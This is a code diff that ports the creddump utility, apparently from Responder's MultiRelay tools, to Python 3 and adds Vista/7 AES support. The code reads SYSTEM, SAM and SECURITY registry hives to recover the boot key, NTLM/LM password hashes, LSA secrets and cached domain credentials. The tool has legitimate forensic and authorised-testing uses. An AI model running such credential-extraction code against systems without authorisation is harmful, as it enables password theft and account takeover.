raise Exception('Invalid built-in type %s' % (builtin)) raise Exception('Invalid built-in type %s' % (builtin))
return builtin_types[builtin][0] return builtin_types[builtin][0]
def read_value(addr_space, value_type, vaddr): def read_value(addr_space, value_type, vaddr):
""" """
Read the low-level value for a built-in type. Read the low-level value for a built-in type.
""" """
if not builtin_types.has_key(value_type): if value_type not in builtin_types:
raise Exception('Invalid built-in type %s' % (value_type)) raise Exception('Invalid built-in type %s' % (value_type))
type_unpack_char = builtin_types[value_type][1] type_unpack_char = builtin_types[value_type][1]
@ -71,11 +75,11 @@ def read_value(addr_space, value_type, vaddr):
return val return val
def read_unicode_string(addr_space, types, member_list, vaddr): def read_unicode_string(addr_space, types, member_list, vaddr):
offset = 0 offset = 0
if len(member_list) > 1: if len(member_list) > 1:
(offset, current_type) = get_obj_offset(types, member_list) (offset, __) = get_obj_offset(types, member_list)
buf = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset) buf = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset)
length = read_obj(addr_space, types, ['_UNICODE_STRING', 'Length'], vaddr + offset) length = read_obj(addr_space, types, ['_UNICODE_STRING', 'Length'], vaddr + offset)
@ -93,15 +97,16 @@ def read_unicode_string(addr_space, types, member_list, vaddr):
try: try:
readBuf = readBuf.decode('UTF-16').encode('ascii') readBuf = readBuf.decode('UTF-16').encode('ascii')
except: except Exception: # pylint: disable=broad-except
return None return None
return readBuf return readBuf
def read_string(addr_space, types, member_list, vaddr, max_length=256): def read_string(addr_space, types, member_list, vaddr, max_length=256):
offset = 0 offset = 0
if len(member_list) > 1: if len(member_list) > 1:
(offset, current_type) = get_obj_offset(types, member_list) (offset, __) = get_obj_offset(types, member_list)
val = addr_space.read(vaddr + offset, max_length) val = addr_space.read(vaddr + offset, max_length)
@ -114,10 +119,7 @@ def read_null_string(addr_space, types, member_list, vaddr, max_length=256):
if string is None: if string is None:
return None return None
if (string.find('\0') == -1): return string.split('\0', 1)[0]
return string
(string, none) = string.split('\0', 1)
return string
def get_obj_offset(types, member_list): def get_obj_offset(types, member_list):
@ -130,7 +132,7 @@ def get_obj_offset(types, member_list):
offset = 0 offset = 0
while (len(member_list) > 0): while member_list:
if current_type == 'array': if current_type == 'array':
current_type = member_dict[current_member][1][2][0] current_type = member_dict[current_member][1][2][0]
if current_type in builtin_types: if current_type in builtin_types:
@ -141,13 +143,13 @@ def get_obj_offset(types, member_list):
offset += index * current_type_size offset += index * current_type_size
continue continue
elif not types.has_key(current_type): elif current_type not in types:
raise Exception('Invalid type ' + current_type) raise Exception('Invalid type ' + current_type)
member_dict = types[current_type][1] member_dict = types[current_type][1]
current_member = member_list.pop() current_member = member_list.pop()
if not member_dict.has_key(current_member): if current_member not in member_dict:
raise Exception('Invalid member %s in type %s' % (current_member, current_type)) raise Exception('Invalid member %s in type %s' % (current_member, current_type))
offset += member_dict[current_member][0] offset += member_dict[current_member][0]
@ -165,7 +167,5 @@ def read_obj(addr_space, types, member_list, vaddr):
if len(member_list) < 2: if len(member_list) < 2:
raise Exception('Invalid type/member ' + str(member_list)) raise Exception('Invalid type/member ' + str(member_list))
(offset, current_type) = get_obj_offset(types, member_list) (offset, current_type) = get_obj_offset(types, member_list)
return read_value(addr_space, current_type, vaddr + offset) return read_value(addr_space, current_type, vaddr + offset)

View file

@ -13,6 +13,8 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with creddump. If not, see <http://www.gnu.org/licenses/>. # along with creddump. If not, see <http://www.gnu.org/licenses/>.
# pylint: disable=invalid-name
""" """
@author: Brendan Dolan-Gavitt @author: Brendan Dolan-Gavitt
@license: GNU General Public License 2.0 or later @license: GNU General Public License 2.0 or later

View file

@ -21,14 +21,14 @@
from framework.win32.rawreg import * from framework.win32.rawreg import *
from framework.addrspace import HiveFileAddressSpace from framework.addrspace import HiveFileAddressSpace
#from framework.win32.hashdump import get_bootkey from framework.win32.hashdump import get_bootkey
from framework.win32.lsasecrets import get_secret_by_name,get_lsa_key from framework.win32.lsasecrets import get_secret_by_name,get_lsa_key
from Crypto.Hash import HMAC from Crypto.Hash import HMAC
from Crypto.Cipher import ARC4 from Crypto.Cipher import ARC4, AES
from struct import unpack from struct import unpack
def get_nlkm(secaddr, lsakey): def get_nlkm(secaddr, lsakey, vista):
return get_secret_by_name(secaddr, 'NL$KM', lsakey) return get_secret_by_name(secaddr, 'NL$KM', lsakey, vista)
def decrypt_hash(edata, nlkm, ch): def decrypt_hash(edata, nlkm, ch):
hmac_md5 = HMAC.new(nlkm,ch) hmac_md5 = HMAC.new(nlkm,ch)
@ -38,6 +38,21 @@ def decrypt_hash(edata, nlkm, ch):
data = rc4.encrypt(edata) data = rc4.encrypt(edata)
return data return data
def decrypt_hash_vista(edata, nlkm, ch):
"""
Based on code from http://lab.mediaservice.net/code/cachedump.rb
"""
aes = AES.new(nlkm[16:32], AES.MODE_CBC, ch)
out = bytearray()
for i in range(0, len(edata), 16):
buf = edata[i : i+16]
if len(buf) < 16:
buf += (16 - len(buf)) * b"\00"
out += aes.decrypt(buf)
return out
def parse_cache_entry(cache_data): def parse_cache_entry(cache_data):
(uname_len, domain_len) = unpack("<HH", cache_data[:4]) (uname_len, domain_len) = unpack("<HH", cache_data[:4])
(domain_name_len,) = unpack("<H", cache_data[60:62]) (domain_name_len,) = unpack("<H", cache_data[60:62])
@ -48,9 +63,9 @@ def parse_cache_entry(cache_data):
def parse_decrypted_cache(dec_data, uname_len, def parse_decrypted_cache(dec_data, uname_len,
domain_len, domain_name_len): domain_len, domain_name_len):
uname_off = 72 uname_off = 72
pad = 2 * ( ( uname_len / 2 ) % 2 ) pad = 2 * ( ( uname_len // 2 ) % 2 )
domain_off = uname_off + uname_len + pad domain_off = uname_off + uname_len + pad
pad = 2 * ( ( domain_len / 2 ) % 2 ) pad = 2 * ( ( domain_len // 2 ) % 2 )
domain_name_off = domain_off + domain_len + pad domain_name_off = domain_off + domain_len + pad
hash = dec_data[:0x10] hash = dec_data[:0x10]
@ -63,16 +78,16 @@ def parse_decrypted_cache(dec_data, uname_len,
return (username, domain, domain_name, hash) return (username, domain, domain_name, hash)
def dump_hashes(Key, secaddr): def dump_hashes(sysaddr, secaddr, vista):
bootkey = Key bootkey = get_bootkey(sysaddr)
if not bootkey: if not bootkey:
return [] return []
lsakey = get_lsa_key(secaddr, bootkey) lsakey = get_lsa_key(secaddr, bootkey, vista)
if not lsakey: if not lsakey:
return [] return []
nlkm = get_nlkm(secaddr, lsakey) nlkm = get_nlkm(secaddr, lsakey, vista)
if not nlkm: if not nlkm:
return [] return []
@ -86,7 +101,7 @@ def dump_hashes(Key, secaddr):
hashes = [] hashes = []
for v in values(cache): for v in values(cache):
if v.Name == "NL$Control": continue if v.Name == b"NL$Control": continue
data = v.space.read(v.Data.value, v.DataLength.value) data = v.space.read(v.Data.value, v.DataLength.value)
@ -97,8 +112,12 @@ def dump_hashes(Key, secaddr):
if uname_len == 0: if uname_len == 0:
continue continue
if vista:
dec_data = decrypt_hash_vista(enc_data, nlkm, ch)
else:
dec_data = decrypt_hash(enc_data, nlkm, ch) dec_data = decrypt_hash(enc_data, nlkm, ch)
(username, domain, domain_name, (username, domain, domain_name,
hash) = parse_decrypted_cache(dec_data, uname_len, hash) = parse_decrypted_cache(dec_data, uname_len,
domain_len, domain_name_len) domain_len, domain_name_len)
@ -107,11 +126,10 @@ def dump_hashes(Key, secaddr):
return hashes return hashes
def dump_file_hashes(Key, sechive_fname): def dump_file_hashes(syshive_fname, sechive_fname, vista):
sysaddr = Key sysaddr = HiveFileAddressSpace(syshive_fname)
secaddr = HiveFileAddressSpace(sechive_fname) secaddr = HiveFileAddressSpace(sechive_fname)
for (u, d, dn, hash) in dump_hashes(sysaddr, secaddr): for (u, d, dn, hash) in dump_hashes(sysaddr, secaddr, vista):
print "%s:%s:%s:%s" % (u.lower(), hash.encode('hex'), print("%s:%s:%s:%s" % (u.lower(), hash.hex(),
d.lower(), dn.lower()) d.lower(), dn.lower()))

View file

@ -13,20 +13,22 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with creddump. If not, see <http://www.gnu.org/licenses/>. # along with creddump. If not, see <http://www.gnu.org/licenses/>.
# pylint: disable=invalid-name,missing-docstring
""" """
@author: Brendan Dolan-Gavitt @author: Brendan Dolan-Gavitt
@license: GNU General Public License 2.0 or later @license: GNU General Public License 2.0 or later
@contact: bdolangavitt@wesleyan.edu @contact: bdolangavitt@wesleyan.edu
""" """
from framework.win32.rawreg import *
from framework.addrspace import HiveFileAddressSpace
try:
from Crypto.Hash import MD5
from Crypto.Cipher import ARC4,DES
except ImportError:
pass
from struct import unpack, pack from struct import unpack, pack
import binascii
from Crypto.Hash import MD5
from Crypto.Cipher import ARC4, DES, AES
from framework.win32.rawreg import get_root, open_key, values, subkeys
from framework.addrspace import HiveFileAddressSpace
odd_parity = [ odd_parity = [
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
@ -52,43 +54,48 @@ p = [ 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3,
0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7] 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7]
# Constants for SAM decrypt algorithm # Constants for SAM decrypt algorithm
aqwerty = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" aqwerty = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
anum = "0123456789012345678901234567890123456789\0" anum = b"0123456789012345678901234567890123456789\0"
antpassword = "NTPASSWORD\0" antpassword = b"NTPASSWORD\0"
almpassword = "LMPASSWORD\0" almpassword = b"LMPASSWORD\0"
empty_lm = binascii.unhexlify("aad3b435b51404eeaad3b435b51404ee")
empty_nt = binascii.unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0")
empty_lm = "aad3b435b51404eeaad3b435b51404ee".decode('hex')
empty_nt = "31d6cfe0d16ae931b73c59d7e0c089c0".decode('hex')
def str_to_key(s): def str_to_key(s):
key = [] key = bytearray()
key.append( ord(s[0])>>1 ) key.append(s[0] >> 1)
key.append( ((ord(s[0])&0x01)<<6) | (ord(s[1])>>2) ) key.append(((s[0] & 0x01) << 6) | ((s[1]) >> 2))
key.append( ((ord(s[1])&0x03)<<5) | (ord(s[2])>>3) ) key.append(((s[1] & 0x03) << 5) | ((s[2]) >> 3))
key.append( ((ord(s[2])&0x07)<<4) | (ord(s[3])>>4) ) key.append(((s[2] & 0x07) << 4) | ((s[3]) >> 4))
key.append( ((ord(s[3])&0x0F)<<3) | (ord(s[4])>>5) ) key.append(((s[3] & 0x0F) << 3) | ((s[4]) >> 5))
key.append( ((ord(s[4])&0x1F)<<2) | (ord(s[5])>>6) ) key.append(((s[4] & 0x1F) << 2) | ((s[5]) >> 6))
key.append( ((ord(s[5])&0x3F)<<1) | (ord(s[6])>>7) ) key.append(((s[5] & 0x3F) << 1) | ((s[6]) >> 7))
key.append( ord(s[6])&0x7F ) key.append(s[6] & 0x7F)
for i in range(8): for i in range(8):
key[i] = (key[i] << 1) key[i] = (key[i] << 1)
key[i] = odd_parity[key[i]] key[i] = odd_parity[key[i]]
return "".join(chr(k) for k in key) return key
def sid_to_key(sid): def sid_to_key(sid):
s1 = "" s1 = bytearray()
s1 += chr(sid & 0xFF) s1.append(sid & 0xFF)
s1 += chr((sid>>8) & 0xFF) s1.append((sid >> 8) & 0xFF)
s1 += chr((sid>>16) & 0xFF) s1.append((sid >> 16) & 0xFF)
s1 += chr((sid>>24) & 0xFF) s1.append((sid >> 24) & 0xFF)
s1 += s1[0]; s1.append(s1[0])
s1 += s1[1]; s1.append(s1[1])
s1 += s1[2]; s1.append(s1[2])
s2 = s1[3] + s1[0] + s1[1] + s1[2] s2 = bytearray([s1[3], s1[0], s1[1], s1[2]])
s2 += s2[0] + s2[1] + s2[2] s2.append(s2[0])
s2.append(s2[1])
s2.append(s2[2])
return str_to_key(s1), str_to_key(s2) return str_to_key(s1), str_to_key(s2)
def find_control_set(sysaddr): def find_control_set(sysaddr):
root = get_root(sysaddr) root = get_root(sysaddr)
if not root: if not root:
@ -99,23 +106,62 @@ def find_control_set(sysaddr):
return 1 return 1
for v in values(csselect): for v in values(csselect):
if v.Name == "Current": return v.Data.value if v.Name == b"Current":
return v.Data.value
return 1
def get_bootkey(sysaddr):
cs = find_control_set(sysaddr)
lsa_base = ["ControlSet%03d" % cs, "Control", "Lsa"]
lsa_keys = ["JD", "Skew1", "GBG", "Data"]
root = get_root(sysaddr)
if not root:
return None
lsa = open_key(root, lsa_base)
if not lsa:
return None
bootkey = []
for lk in lsa_keys:
key = open_key(lsa, [lk])
class_data = sysaddr.read(key.Class.value, key.ClassLength.value)
hex_string = class_data.decode('utf-16-le')
hex_data = binascii.unhexlify(hex_string)
for h in hex_data:
bootkey.append(h)
bootkey_scrambled = []
for i in range(len(bootkey)):
bootkey_scrambled.append(bootkey[p[i]])
return bytes(bootkey_scrambled)
def get_hbootkey(samaddr, bootkey): def get_hbootkey(samaddr, bootkey):
sam_account_path = ["SAM", "Domains", "Account"] sam_account_path = ["SAM", "Domains", "Account"]
root = get_root(samaddr) root = get_root(samaddr)
if not root: return None if not root:
return None
sam_account_key = open_key(root, sam_account_path) sam_account_key = open_key(root, sam_account_path)
if not sam_account_key: return None if not sam_account_key:
return None
F = None F = None
for v in values(sam_account_key): for v in values(sam_account_key):
if v.Name == 'F': if v.Name == b'F':
F = samaddr.read(v.Data.value, v.DataLength.value) F = samaddr.read(v.Data.value, v.DataLength.value)
if not F: return None if not F:
return None
revision = F[0x00]
if revision == 2:
md5 = MD5.new() md5 = MD5.new()
md5.update(F[0x70:0x80] + aqwerty + bootkey + anum) md5.update(F[0x70:0x80] + aqwerty + bootkey + anum)
rc4_key = md5.digest() rc4_key = md5.digest()
@ -125,72 +171,115 @@ def get_hbootkey(samaddr, bootkey):
return hbootkey return hbootkey
if revision == 3:
iv = F[0x78:0x88]
encryptedHBootKey = F[0x88:0xA8]
cipher = AES.new(bootkey, AES.MODE_CBC, iv)
hbootkey = cipher.decrypt(encryptedHBootKey)
return hbootkey[:16]
print("Unknown revision: %d" % revision)
return None
def get_user_keys(samaddr): def get_user_keys(samaddr):
user_key_path = ["SAM", "Domains", "Account", "Users"] user_key_path = ["SAM", "Domains", "Account", "Users"]
root = get_root(samaddr) root = get_root(samaddr)
if not root: return [] if not root:
return []
user_key = open_key(root, user_key_path) user_key = open_key(root, user_key_path)
if not user_key: return [] if not user_key:
return []
return [k for k in subkeys(user_key) if k.Name != b"Names"]
return [k for k in subkeys(user_key) if k.Name != "Names"]
def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr): def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr):
if enc_hash == "":
return ""
(des_k1, des_k2) = sid_to_key(rid) (des_k1, des_k2) = sid_to_key(rid)
d1 = DES.new(des_k1, DES.MODE_ECB) d1 = DES.new(des_k1, DES.MODE_ECB)
d2 = DES.new(des_k2, DES.MODE_ECB) d2 = DES.new(des_k2, DES.MODE_ECB)
md5 = MD5.new() md5 = MD5.new()
md5.update(hbootkey[:0x10] + pack("<L", rid) + lmntstr) md5.update(hbootkey[:0x10] + pack("<L", rid) + lmntstr)
rc4_key = md5.digest() rc4_key = md5.digest()
rc4 = ARC4.new(rc4_key) rc4 = ARC4.new(rc4_key)
obfkey = rc4.encrypt(enc_hash) obfkey = rc4.encrypt(enc_hash)
hash = d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:]) return d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:])
return hash
def decrypt_hashes(rid, enc_lm_hash, enc_nt_hash, hbootkey): def decrypt_single_salted_hash(rid, hbootkey, enc_hash, salt):
# LM Hash if enc_hash == "":
if enc_lm_hash: return ""
(des_k1, des_k2) = sid_to_key(rid)
d1 = DES.new(des_k1, DES.MODE_ECB)
d2 = DES.new(des_k2, DES.MODE_ECB)
cipher = AES.new(hbootkey[:16], AES.MODE_CBC, salt)
obfkey = cipher.decrypt(enc_hash)
return d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:16])
def get_user_hashes(user_key, hbootkey):
# pylint: disable=too-many-locals
samaddr = user_key.space
try:
rid = int(user_key.Name.decode(), 16)
except ValueError:
print("Could not decode rid from key name %s" % (user_key.Name.decode()))
return None, None
V = None
for v in values(user_key):
if v.Name == b'V':
V = samaddr.read(v.Data.value, v.DataLength.value)
if not V:
return None, None
hash_offset = unpack("<L", V[0xa8:0xa8 + 4])[0] + 0xCC
lm_offset_bytes = V[0x9c:0x9c + 4]
nt_offset_bytes = V[0x9c + 12:0x9c + 16]
lm_offset = unpack("<L", lm_offset_bytes)[0] + 204
nt_offset = unpack("<L", nt_offset_bytes)[0] + 204
lmhash = None
nthash = None
lm_revision_bytes = V[lm_offset + 2:lm_offset + 3]
lm_revision = unpack('<B', lm_revision_bytes)[0]
if lm_revision == 1:
lm_exists = unpack("<L", V[0x9c + 4:0x9c + 8])[0] == 20
enc_lm_hash = V[hash_offset + 4:hash_offset + 20] if lm_exists else ""
lmhash = decrypt_single_hash(rid, hbootkey, enc_lm_hash, almpassword) lmhash = decrypt_single_hash(rid, hbootkey, enc_lm_hash, almpassword)
else: elif lm_revision == 2:
lmhash = "" lm_exists = unpack("<L", V[0x9c + 4:0x9c + 8])[0] == 56
lm_salt = V[hash_offset + 4:hash_offset + 20] if lm_exists else ""
enc_lm_hash = V[hash_offset + 20:hash_offset + 52] if lm_exists else ""
lmhash = decrypt_single_salted_hash(rid, hbootkey, enc_lm_hash, lm_salt)
# NT Hash nt_revision_bytes = V[nt_offset + 2:nt_offset + 3]
if enc_nt_hash: nt_revision = unpack('<B', nt_revision_bytes)[0]
if nt_revision == 1:
nt_exists = unpack("<L", V[0x9c + 16:0x9c + 20])[0] == 20
enc_nt_hash = V[nt_offset + 4:nt_offset + 20] if nt_exists else ""
nthash = decrypt_single_hash(rid, hbootkey, enc_nt_hash, antpassword) nthash = decrypt_single_hash(rid, hbootkey, enc_nt_hash, antpassword)
else: elif nt_revision == 2:
nthash = "" nt_exists = unpack("<L", V[0x9c + 16:0x9c + 20])[0] == 56
nt_salt = V[nt_offset + 8:nt_offset + 24] if nt_exists else ""
enc_nt_hash = V[nt_offset + 24:nt_offset + 56] if nt_exists else ""
nthash = decrypt_single_salted_hash(rid, hbootkey, enc_nt_hash, nt_salt)
return lmhash, nthash return lmhash, nthash
def get_user_hashes(user_key, hbootkey):
samaddr = user_key.space
rid = int(user_key.Name, 16)
V = None
for v in values(user_key):
if v.Name == 'V':
V = samaddr.read(v.Data.value, v.DataLength.value)
if not V: return None
hash_offset = unpack("<L", V[0x9c:0x9c+4])[0] + 0xCC
lm_exists = True if unpack("<L", V[0x9c+4:0x9c+8])[0] == 20 else False
nt_exists = True if unpack("<L", V[0x9c+16:0x9c+20])[0] == 20 else False
enc_lm_hash = V[hash_offset+4:hash_offset+20] if lm_exists else ""
enc_nt_hash = V[hash_offset+(24 if lm_exists else 8):hash_offset+(24 if lm_exists else 8)+16] if nt_exists else ""
return decrypt_hashes(rid, enc_lm_hash, enc_nt_hash, hbootkey)
def get_user_name(user_key): def get_user_name(user_key):
samaddr = user_key.space samaddr = user_key.space
V = None V = None
for v in values(user_key): for v in values(user_key):
if v.Name == 'V': if v.Name == b'V':
V = samaddr.read(v.Data.value, v.DataLength.value) V = samaddr.read(v.Data.value, v.DataLength.value)
if not V: return None if not V:
return None
name_offset = unpack("<L", V[0x0c:0x10])[0] + 0xCC name_offset = unpack("<L", V[0x0c:0x10])[0] + 0xCC
name_length = unpack("<L", V[0x10:0x14])[0] name_length = unpack("<L", V[0x10:0x14])[0]
@ -198,23 +287,25 @@ def get_user_name(user_key):
username = V[name_offset:name_offset + name_length].decode('utf-16-le') username = V[name_offset:name_offset + name_length].decode('utf-16-le')
return username return username
def dump_hashes(Key, samaddr):
bootkey = Key def dump_hashes(sysaddr, samaddr):
bootkey = get_bootkey(sysaddr)
hbootkey = get_hbootkey(samaddr, bootkey) hbootkey = get_hbootkey(samaddr, bootkey)
Output = ""
for user in get_user_keys(samaddr): for user in get_user_keys(samaddr):
lmhash, nthash = get_user_hashes(user, hbootkey) lmhash, nthash = get_user_hashes(user, hbootkey)
if not lmhash: lmhash = empty_lm if not lmhash:
if not nthash: nthash = empty_nt lmhash = empty_lm
hashes = "%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name,16), if not nthash:
lmhash.encode('hex'), nthash.encode('hex')) nthash = empty_nt
hashesdump = "%s:%d:%s:%s:::\n" % (get_user_name(user), int(user.Name,16), try:
lmhash.encode('hex'), nthash.encode('hex')) print("%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16),
print hashes lmhash.hex(), nthash.hex()))
Output += hashesdump except ValueError:
return Output pass # skip if user.Name cannot be converted to an int, since its a "false" rid like the "Names" key
def dump_file_hashes(Key, samhive_fname):
def dump_file_hashes(syshive_fname, samhive_fname):
sysaddr = HiveFileAddressSpace(syshive_fname)
samaddr = HiveFileAddressSpace(samhive_fname) samaddr = HiveFileAddressSpace(samhive_fname)
Output = dump_hashes(Key, samaddr) dump_hashes(sysaddr, samaddr)
return Output

View file

@ -13,26 +13,33 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with creddump. If not, see <http://www.gnu.org/licenses/>. # along with creddump. If not, see <http://www.gnu.org/licenses/>.
# pylint: disable=missing-docstring
""" """
@author: Brendan Dolan-Gavitt @author: Brendan Dolan-Gavitt
@license: GNU General Public License 2.0 or later @license: GNU General Public License 2.0 or later
@contact: bdolangavitt@wesleyan.edu @contact: bdolangavitt@wesleyan.edu
""" """
from framework.win32.rawreg import * from Crypto.Hash import MD5, SHA256
from framework.addrspace import HiveFileAddressSpace from Crypto.Cipher import ARC4, DES, AES
#from framework.win32.hashdump import get_bootkey,str_to_key
from Crypto.Hash import MD5
from Crypto.Cipher import ARC4,DES
def get_lsa_key(secaddr, bootkey): from framework.win32.rawreg import get_root, open_key, subkeys, unpack
from framework.addrspace import HiveFileAddressSpace
from framework.win32.hashdump import get_bootkey, str_to_key
def get_lsa_key(secaddr, bootkey, vista):
root = get_root(secaddr) root = get_root(secaddr)
if not root: if not root:
return None return None
if vista:
enc_reg_key = open_key(root, ["Policy", "PolEKList"])
else:
enc_reg_key = open_key(root, ["Policy", "PolSecretEncryptionKey"]) enc_reg_key = open_key(root, ["Policy", "PolSecretEncryptionKey"])
if not enc_reg_key: if not enc_reg_key:
exit(1)
return None return None
enc_reg_value = enc_reg_key.ValueList.List[0] enc_reg_value = enc_reg_key.ValueList.List[0]
@ -44,23 +51,28 @@ def get_lsa_key(secaddr, bootkey):
if not obf_lsa_key: if not obf_lsa_key:
return None return None
if not vista:
md5 = MD5.new() md5 = MD5.new()
md5.update(bootkey) md5.update(bootkey)
for i in range(1000): for __ in range(1000):
md5.update(obf_lsa_key[60:76]) md5.update(obf_lsa_key[60:76])
rc4key = md5.digest() rc4key = md5.digest()
rc4 = ARC4.new(rc4key) rc4 = ARC4.new(rc4key)
lsa_key = rc4.decrypt(obf_lsa_key[12:60]) lsa_key = rc4.decrypt(obf_lsa_key[12:60])
lsa_key = lsa_key[0x10:0x20]
else:
lsa_key = decrypt_aes(obf_lsa_key, bootkey)
lsa_key = lsa_key[68:100]
return lsa_key
return lsa_key[0x10:0x20]
def decrypt_secret(secret, key): def decrypt_secret(secret, key):
"""Python implementation of SystemFunction005. """Python implementation of SystemFunction005.
Decrypts a block of data with DES using given key. Decrypts a block of data with DES using given key.
Note that key can be longer than 7 bytes.""" Note that key can be longer than 7 bytes."""
decrypted_data = '' decrypted_data = bytearray()
j = 0 # key index j = 0 # key index
for i in range(0, len(secret), 8): for i in range(0, len(secret), 8):
enc_block = secret[i:i + 8] enc_block = secret[i:i + 8]
@ -77,7 +89,27 @@ def decrypt_secret(secret, key):
(dec_data_len,) = unpack("<L", decrypted_data[:4]) (dec_data_len,) = unpack("<L", decrypted_data[:4])
return decrypted_data[8:8 + dec_data_len] return decrypted_data[8:8 + dec_data_len]
def get_secret_by_name(secaddr, name, lsakey):
def decrypt_aes(secret, key):
sha = SHA256.new()
sha.update(key)
for _i in range(1, 1000 + 1):
sha.update(secret[28:60])
aeskey = sha.digest()
data = bytearray()
for i in range(60, len(secret), 16):
aes = AES.new(aeskey, AES.MODE_CBC, b"\x00" * 16)
buf = secret[i: i + 16]
if len(buf) < 16:
buf += (16 - len(buf)) * b"\00"
data += aes.decrypt(buf)
return data
def get_secret_by_name(secaddr, name, lsakey, vista):
root = get_root(secaddr) root = get_root(secaddr)
if not root: if not root:
return None return None
@ -95,19 +127,24 @@ def get_secret_by_name(secaddr, name, lsakey):
if not enc_secret: if not enc_secret:
return None return None
return decrypt_secret(enc_secret[0xC:], lsakey) if vista:
secret = decrypt_aes(enc_secret, lsakey)
else:
secret = decrypt_secret(enc_secret[0xC:], lsakey)
def get_secrets(Key, secaddr): return secret
def get_secrets(sysaddr, secaddr, vista):
root = get_root(secaddr) root = get_root(secaddr)
if not root: if not root:
return None return None
bootkey = Key bootkey = get_bootkey(sysaddr)
lsakey = get_lsa_key(secaddr, bootkey) lsakey = get_lsa_key(secaddr, bootkey, vista)
secrets_key = open_key(root, ["Policy", "Secrets"]) secrets_key = open_key(root, ["Policy", "Secrets"])
if not secrets_key: if not secrets_key:
print "no secret"
return None return None
secrets = {} secrets = {}
@ -125,13 +162,18 @@ def get_secrets(Key, secaddr):
if not enc_secret: if not enc_secret:
continue continue
if vista:
secret = decrypt_aes(enc_secret, lsakey)
else:
secret = decrypt_secret(enc_secret[0xC:], lsakey) secret = decrypt_secret(enc_secret[0xC:], lsakey)
secrets[key.Name] = secret secrets[key.Name] = secret
return secrets return secrets
def get_file_secrets(Key, secfile):
def get_file_secrets(sysfile, secfile, vista):
sysaddr = HiveFileAddressSpace(sysfile)
secaddr = HiveFileAddressSpace(secfile) secaddr = HiveFileAddressSpace(secfile)
return get_secrets(Key, secaddr) return get_secrets(sysaddr, secaddr, vista)

View file

@ -23,9 +23,9 @@ from framework.newobj import Obj,Pointer
from struct import unpack from struct import unpack
ROOT_INDEX = 0x20 ROOT_INDEX = 0x20
LH_SIG = unpack("<H","lh")[0] LH_SIG = unpack("<H",b"lh")[0]
LF_SIG = unpack("<H","lf")[0] LF_SIG = unpack("<H",b"lf")[0]
RI_SIG = unpack("<H","ri")[0] RI_SIG = unpack("<H",b"ri")[0]
def get_root(address_space): def get_root(address_space):
return Obj("_CM_KEY_NODE", ROOT_INDEX, address_space) return Obj("_CM_KEY_NODE", ROOT_INDEX, address_space)
@ -34,11 +34,11 @@ def open_key(root, key):
if key == []: if key == []:
return root return root
keyname = key.pop(0) keyname = key.pop(0).encode()
for s in subkeys(root): for s in subkeys(root):
if s.Name.upper() == keyname.upper(): if s.Name.upper() == keyname.upper():
return open_key(s, key) return open_key(s, key)
print "ERR: Couldn't find subkey %s of %s" % (keyname, root.Name) print("ERR: Couldn't find subkey %s of %s" % (keyname, root.Name))
return None return None
def subkeys(key,stable=True): def subkeys(key,stable=True):

38
tools/MultiRelay/creddump/lsadump.py Normal file → Executable file
View file

@ -15,6 +15,8 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with creddump. If not, see <http://www.gnu.org/licenses/>. # along with creddump. If not, see <http://www.gnu.org/licenses/>.
# pylint: disable=invalid-name,missing-docstring
""" """
@author: Brendan Dolan-Gavitt @author: Brendan Dolan-Gavitt
@license: GNU General Public License 2.0 or later @license: GNU General Public License 2.0 or later
@ -27,28 +29,40 @@ from framework.win32.lsasecrets import get_file_secrets
# Hex dump code from # Hex dump code from
# http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812 # http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812
FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)]) FILTER = ''.join(32 <= i < 127 and chr(i) or '.' for i in range(256))
def showUsage():
print("usage: %s <system hive> <security hive> <Vista/7>" % sys.argv[0])
print("\nExample (Windows Vista/7):")
print("%s /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true" % sys.argv[0])
print("\nExample (Windows XP):")
print("%s /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false" % sys.argv[0])
def dump(src, length=8): def dump(src, length=8):
N=0; result='' N = 0
result = ''
while src: while src:
s, src = src[:length], src[length:] s, src = src[:length], src[length:]
hexa = ' '.join(["%02X"%ord(x) for x in s]) hexa = ' '.join(["%02X" % x for x in s])
s = s.translate(FILTER) s = ''.join(FILTER[b] for b in s)
result += "%04X %-*s %s\n" % (N, length * 3, hexa, s) result += "%04X %-*s %s\n" % (N, length * 3, hexa, s)
N += length N += length
return result return result
if len(sys.argv) < 3:
print "usage: %s Bootkey <security hive>" % sys.argv[0]
sys.exit(1)
secrets = get_file_secrets(sys.argv[1].decode("hex"), sys.argv[2]) if len(sys.argv) < 4 or sys.argv[3].lower() not in ["true", "false"]:
showUsage()
sys.exit(1)
else:
vista = sys.argv[3].lower() == "true"
secrets = get_file_secrets(sys.argv[1], sys.argv[2], vista)
if not secrets: if not secrets:
print "Unable to read LSA secrets. Perhaps you provided invalid hive files?" print("Unable to read LSA secrets. Perhaps you provided invalid hive files?")
sys.exit(1) sys.exit(1)
for k in secrets: for k in secrets:
print k print(k.decode())
print dump(secrets[k], length=16) print(dump(secrets[k], length=16))

View file

